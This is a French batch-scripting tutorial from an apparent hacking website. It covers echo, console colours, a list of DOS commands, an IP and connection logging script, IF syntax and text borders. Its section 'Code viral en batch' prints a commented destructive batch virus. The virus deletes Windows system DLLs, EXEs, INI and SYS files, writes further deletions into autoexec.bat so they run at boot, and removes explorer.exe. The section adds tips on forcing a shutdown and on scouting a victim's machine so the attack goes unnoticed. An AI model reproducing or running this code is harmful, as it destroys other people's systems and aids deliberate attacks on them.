Site partenaire
 IP Scan :
Home
  Accueil
SH en favoris
- FORUMS -
Livre d'Or
- CHAT -
NewsLetter
Suggestions
La Team du Site
Accès Team SH
Faites un don !
Contacts
 
Services
  Liens
Source HTML viewer
DownLoad
Mail Anonyme
 
Les Articles
  Cracking
Théorie
Programmation
Failles [techniques]
Les Adresses IP
FingerPrinting
Utilisation de proxy
Divers
 
WallPapers Galerie
   
Partenaires
  The Hackademy Web, Journal et School

 
 Main Message
 
Le recrutement au sein de la Team SH est suspendu pour une durée indéterminée...

Pour surfer sur ce site, vous devez accepter le disclaimer.

Vous pouvez contribuer au développement du site en faisant un don. SecurityHack a besoin de vous !

 
 Tutorial sur le Batch Scripting
 
Batch Scripting

Bonjour, dans ce tutorial je présenterais le batch et des exemples de code en batch, à la fin se trouve des liens avec un compilateur et des cours, bonne lecture.
Shad0w contribuera à la partie "virus.batch"




Table des matières

1: Initiation et explication du batch, et liste de différentes commandes

2: Initiation à la boucle IF

3: Code viral en batch

3: Graphisme en batch

5: Divers liens







1: Explication, initiations, et liste des commandes



Le batch fonctionne uniquement sous Windows (toutes versions) mais nous noterons tout de même qu'il y a des fonctions comme les couleurs, propres aux systèmes à base NT (donc NT, XP et 2000)
Déjà il faut dire que le batch n’est rien de plus qu’une série de commandes Ms-Dos, donc toutes les commandes Ms-Dos que vous connaissez peuvent être utilisées, nous noterons également, qu'il y a des commandes propres au .batch (hors commandes Ms-Dos) près enregistrées dans un fichier, qui des que vous ouvrirais le fichier, seront exécutées une à une.
On peut également, faire des boucles, mais très basiques (c'est pas du C/C++ quand même hein ! ;) genre, if, for... qui seront abordées dans ce cour

Pour faire un .bat écrivez votre texte dans le bloc note puis sauvez avec l'extension .bat ou .batch ou utilisez un compilo (comme Power Batch).


Commençons par une notion simple, l’echo.
L’echo peut servir à plusieurs trucs, comme:

Echo « texte » affiche du texte
Echo off affiche que les résultats des commandes MS-Dos et non les commandes elles même
@echo off pareil que echo off sauf que la commande echo off est caché elle-même car dans le batch, les commandes sont lut puis une fois lut, exécuter (donc echo off sera affiché avant d’être exécuté, donc ne se cachera pas lui-même) donc un simple echo off cachera toutes les commandes sauf lui alors qu’avez le signe @ il se cachera lui-même.
Echo. Affiche une ligne vide (saute une ligne)

Voilà pour l’echo, nous passons à une notion un peu plus compliquée (même si le batch est très simple il y a forcement des choses plus durs que d’autres ;)


Pour mettre de la couleur dans votre batch, (uniquement Windows NT ) il va falloir mettre une « choses » qui vérifie si l’OS est à base NT et exécute ensuite la commande qui change la couleur de fond et des textes dans la fenêtre MS-Dos.

Voici cet IF:
if not "%os%" =="Windows_NT" goto OSerr
color 0A

Le if not "%os%" =="Windows_NT" goto OSerr testera si l’os est NT, et le color 0A veut dire mettre le fond de la fenêtre en noir et les écritures en vert, explication:

La première valeur définit la couleur de fond du MS-Dos, ici 0 = noir
La deuxième valeur définit la couleur du texte, ici A = vert

Liste avec quelques couleurs : 0 = noir 1 = bleu foncé 2 = vert 3 = bleu gris 4 = marron etc…


Pour rejoindre un répertoire, rien de plus simple tapez le légendaire:
cd C:\nom du répertoire
Imaginez que vous voulez créer un répertoire dans C:\program files
(Sachant que la commande pour créer un répertoire est mkdir)
Vous taperez:
cd C:\Program files
mkdir nom-du-répertoire

Ensuite libre cour à votre imagination le batch n’est jamais qu’une série
de commandes Ms-Dos près enregistré dans un fichier, donc vous pouvez mettre un ipconfig et double cliquer pour voir votre ip…


Pour que votre batch ne se ferme pas instantanément il va falloir mettre un truc, mais quoi ? Tout simplement pause à la fin de votre code, le programme attendra ensuite que vous appuyez sur une touche pour se fermer.



Puis voici la liste avec quelques commandes Ms-Dos (par m@ster@ck)

del fichier : cette commande permet de supprimer un fichier.
deltree fichier : supprime un dossier complet.
move fichier : déplace le fichier "fichier".
echo off : désactive l'affichage de ce qui ce passe.
dir c:WINDOWS : affiche le contenu de c:windows.
echo. : saute une ligne.
echo ce que tu veux écrire : écrit ce que vous tapez après echo (dans notre cas il y aura écrit "ce que tu veux écrire").
CLS : efface l'écran.
PAUSE : demande d'appuyer sur une touche pour continuer
C:WINDOWS ON_PROG.EXE: exécute ton_prog.exe
AT: Planifie l'exécution de commande ou programmes sur l'ordinateur
ATTRIB: Affiche ou modifie les attributs d'un fichier
BREAK : Active ou désactive le contrôle étendu de CTRL+C
CALLS: Affiche ou modifie les listes de contrôles d'accès aux fichiers.
CALL: appelle un fichier de commande depuis un autre fichier de commande
CD: Modifie le répertoire ou affiche le répertoire en cours
CHCP: Modifie la page de code active ou affiche son numéro.
CHDIR: Modifie le répertoire ou affiche le nom du répertoire en cours
CHKDSK: Vérifie un disque et affiche un relevé d'état
CHKNTFS: Affiche ou modifie la vérification du disque au démarrage
CMD : Lance une nouvelle instance de l'interprétateur de commande de Windows
COLOR: Modifie les couleurs du premier plan et de l'arrière plan de la console
COMP : Compare les contenus de deux fichiers ou groupe de fichiers
COMPACT : Modifie ou affiche la compression des fichiers sur une partition NTFS
CONVERT : Convertit des volumes FAT en volumes NTFS. Vous ne pouvez pas convertir le lecteur en cours d'utilisation.
COPY : Copie un ou plusieurs fichiers.
DATE : Affiche ou modifie la date.
DIR : Liste des fichiers
DISKOMP: Compare les contenus de deux disquettes
DISKCOPY : Copie le contenus d'une disquette sur une autre
ENDLOCAL : Stoppe la localisation des modifications de l'environnement dans un fichier de commandes
ERASE : Supprime un ou plusieurs fichiers.
EXIT : Quitte l'interprétateur de commandes <CMD.EXE>.
FC : Compare deux fichiers ou groupe de fichiers ;et affiche les différences entre eux .
FIND : Cherche une chaîne de caractères dans un ou plusieurs fichiers
FINDSTR : Cherche des chaînes de caractères dans un ou plusieurs fichiers
FOR : Exécute une commande sur chaque fichier d'un groupe de fichiers
FORMAT : Formate un disque pour utilisation avec Windows
FTYPE : Affiche ou modifie les types de fichiers utilisés dans les associations d’extensions
GOTO : Poursuit l'exécution d'un fichier de commandes à une ligne identifiée par une étiquette
GRAFTABL : Permet à Windows d'afficher un jeu de caractères en mode graphique
HELP : Affiche des informations sur les commandes de Windows
IF : Effectue un traitement conditionnel dans un fichier de commande
LABEL : Crée, modifié ou supprime le nom de volume d'un disque
MD : Crée un répertoire
MODE : Configure un périphérique du système
MORE : Affiche la sortie écran par écran
MOVE : Déplace un ou plusieurs fichiers d'un répertoire à un autre
PATH : Affiche ou définit le chemin de recherche des fichiers exécutables
POPD : Restaure la valeur précédente du répertoire courant enregistré par PUSHD
PRINT : Imprime un fichier texte
PROMPT : Modifie l'invite de commande de Windows
PUSHD : Enregistre le répertoire courant puis le modifie
RD : Supprime un répertoire
RECOVER : Récupère l'information lisible d'un disque défectueux
REM : Insère un commentaire dans un fichier de commandes ou CONFIG.SYS.
REN : Renomme un ou plusieurs fichiers
SET : Affiche, définit ou supprime des variables d'environnement Windows
SETLOCAL : Commence la localisation des changements de l'environnement dans un fichier de commandes
SHIFT : Modifie la position des paramètres remplaçables dans un fichier de commandes
SORT : Trie les éléments en entrée
SUBST : Affecte une lettre de lecteur à un chemin d'accès


Et nous finissons par un exemple de code en batch, bonne fin de lecture..

Pour compiler le programme suivant, mettez le dans le bloc note et sauvez le avec une extension .bat ou alors dans Power batch.

Code pour Win XP:

@Echo OFF
TITLE Bienvenue sur Connexions Power...
if not "%os%" =="Windows_NT" goto OSerr
color 0A
ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO º Connexions Power º Donne votre IP et liste les connexions de votre PC
ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ECHO.
ECHO.
ipconfig
ECHO.
ECHO ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
ECHO.
netstat
ECHO.
ECHO ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
ECHO.
ECHO Connexions Power garde des fichiers log des activités‚es et de vos Ips
ECHO C:\Program Files\Connexions-Power.
ECHO.
cd C:\Program Files
mkdir Connexions-Power
cd C:\Program Files\Connexions-Power
ipconfig >> Ips.txt
netstat >> Connexions.txt
PAUSE



Alors, maintenant, on va commenter ce code ;)

C’est un batch qui, des que vous cliquerais dessus, vous donnera votre IP et vous montrera les connexions de votre PC (j’ai pris cet exemple car je me sers souvent de ces commandes)


TITLE donne un titre à la fenêtre Ms-Dos (en haut à gauche)

@ECHO off
Veut dire: cacher tout le texte (les commandes entrées etc… et n’afficher que le résultat) le Echo off cache tout, sauf lui-même et le @ cache Echo off (vous comprenez ?)

if not "%os%" =="Windows_NT" goto Oserr
color 0A
Veut dire, que si l’OS est à base NT, le fond de la fenêtre ms-dos, sera noir et les écritures, vertes.

ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO º Connexions Power º Donne votre IP et liste les connexions de votre PC
ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Affiche un cadre autour de Connexions Power et marque « Donne votre IP et liste les connexions de votre PC » à droite du cadre.

ECHO.
Veut dire, sauter une ligne

Ensuite, ipconfig et affiche votre IP et netstat affiche vos connexions.

cd C:\Program Files
mkdir Connexions-Power
cd C:\Program Files\Connexions-Power
Veut dire: aller dans le répertoire program files, créer un fichier Connexions Power, puis allez dans ce dossier et attendre les instructions.

ipconfig >> Ips.txt
netstat >> Connexions.txt
Veut dire, à chaque ouverture, loguer les instructions affichées par ces deux commandes les mettre dans un .txt et mettre ce .txt dans le dossier Power-Connexions que l’on vient de créer.

Pause
Veut dire attendre que l’utilisateur tape sur une touche et quitter le programme.


Voilà, j’espère que ce petit code commenté vous aura servit et vous aura apprit quelques choses, j’attends vos commentaires





2: Initiation à la boucle IF


Dans cette partie, je vais essayer de vous faire une petite initiation au boucle IF et FOR dans les batch (j’estime qu’il n’y a plus besoin de code source, pour vous faire des exemples, si vous avez lut la première partie vous avez un minimum d’autonomie)


IF

Cette commande sert à une chose bien utile: si une condition est remplie (comme par exemple, imaginons le programme de la section précédente, nous allons dire que si votre IP est celle si: il se produira une chose, si elle n’est pas celle ci, l’instruction sensée s’exécuter ne s’exécute pas (bien sur, mon exemple est un mauvais exemple car il ne sert à rien dans un programme d’exécute un programme si votre IP est celle ci, quoi que si vous avez une IP et si vous voulez voir si elle a changé ;)

Voici sa syntaxe: If  « condition » == «  valeur » action

Nous allons prendre comme exemple encore mon code précédent:

if not "%os%" =="Windows_NT" goto OSerr
color 0A

Vous voyez que si l’OS est à base NT, la commande color 0A sera exécutées, on la passe, voilà c’est aussi simple que ça ;)





3: Code viral en batch


Exemple commenté d’un virus en .bat :
@echo off //désactive l’affichage à l’ecran
del c :\windows\*.dll // del des DLLs
del c :\windows\system\*.dll //del des DLLs
del c :\windows\*.exe //del des EXEs
del c :\windows\*.ini //del INI
del c :\windows\*.sys //destruction des fichiers vitaux
echo @echo off>>c :\autoexec.bat //écriture dans autoexec
del c :\windows\*.dll>>c :\autoexec.bat //del des DLLs en cour d'utilisation (et donc protégées, il faut les enlevées au démarrage)
del c :\windows\system\*.dll>>c :\autoexec.bat //destruction des fichiers protégés au démarrage
del c:\windows\explorer.exe>>c :\autoexec.bat //del de l'explorer

Astuce : Pour les virus nécessitant un redémarrage de la machine pour une destruction totale, rajoutez la commande C:\WINDOWS\RUNDLL32.EXE user.exe,exitwindows à la fin pour l’arrêt de la machine.
/ !\ Attention ! Avant d’utiliser un batch sur une personne, il est conseillé de faire un repérage pour identifier le système. Imaginez que le répertoire du gars s’appelle « windows01 », le virus ne pourra pas y accéder, et là : message d ‘erreur et vous êtes démasqué ! Ces virus ne marche que sous windows ! Des petites astuces existent : remplacer windows par %systemdir%

(J'ai récupéré ce tuto il n'est pas de moi, mais je l'ai trouvé bien (il se sert de autoexec etc... pour infos, son auteur était Shad0w)



3: Graphisme en batch



Vous allez rire, vous allez me dire qu’une fenêtre Ms-Dos ont ne peut pas lui rajouter des graphismes….
Ok, ce ne sera pas une interface graphique, mais des couleurs, des encadrement, et tout ce qui va avec ;)

Sachez que les couleurs sont disponibles uniquement sous Windows NT, XP et 2000.
Il vous faudra rentrer une instruction IF vu précédemment, là voici:

if not "%os%" =="Windows_NT" goto OSerr
color 0A

Mettez cette commande tout au début de votre batch, car vu que les commandes sont exécutées une à une, si vous la mettez à la fin, la fenêtre ne sera pas coloré des qu’elle sera ouverte (testez pour voir)

Si vous copiez cette commande, le fond sera en noir et les couleurs, en vert, vu que j’ai déjà parlé un peu parler du graphisme en chapitre 1, je vais donner ici uniquement une liste des différentes couleurs:

0 = Noir
1 = Bleu foncé
2 = Vert
3 = Bleu gris
4 = Marron
5 = Pourpre
6 = Kaki
7 = Gris clair
8 = Gris
9 = Bleu clair
A = vert clair
B = Cyan
C = Rouge
D = Rose
E = Jaune
F = blanc

Voilà pour cette liste, on passe maintenant aux encadrements j’ai promis en début de de tuto, que j’en reparlerais ;)


On peut encadrer son texte dans un batch, il faut pour cela afficher du texte (donc echo) et rentrer une série de caractères spéciaux interprétés par Ms-Dos comme des bordures regardez :

ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO º Connexions Power º
ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

En regardant bien on en déduit qu’une bordure horizontale n’est qu’une série de Í, je vais détailler ici quel symbole symbolise quelle bordures:

Í = bordure horizontale
º = bordure verticale
É = coin supérieur gauche
È = coin inférieur gauche
» = coin supérieur droit
¼ = coin inférieur droit

En ayant cette légende et en testant (et en vous rapportant au batch de début de tuto) les bordures paraissent et sont simples ;)





Liens

Voici la section des liens, il y a des liens pour télécharger des compilo et d'autres pour des tuto sur le batch beaucoup plus complexe et complet que le mien (je vous suggère de lire ces 90 pages de tuto, si vous avez amé le mien, car le mien n'était fait que pour avoir une ou deux notions)

www.astase.com (site de programmation)
www.astase.com/products/powerbatch/toolkit.htm (power batch version pro)
www.astase.com/products/powerbatch/powerbatch.htm (l'outils que j'utilise)
www.astase.com/products/powerbatch/powerbatchdos.htm (la version allégées de powerbatch)
www.astase.com/products/powerbatch/tutorielbatch.htm (le fameux tuto que je vous conseil de lire, j'ai tout appris dedans)

 

SyNoruS -:- Team SH member

Welcome To SecurityHack.net Articles catalogue

securityhack.net v 4_2
 
Les Sous-domaines
  Projet JackShell
+ Challenge BigContest +
JackTrojan
Forums
Chat IRC
 
Chat Box
 
Up Down
Pseudo :
Message :

 
Box News !
 
 

02 visiteur(s) online
© 2003, 2004 www.SecurityHack.net | Admin : Shad0w ; Webmasters : P41f0x, Dark-Jedi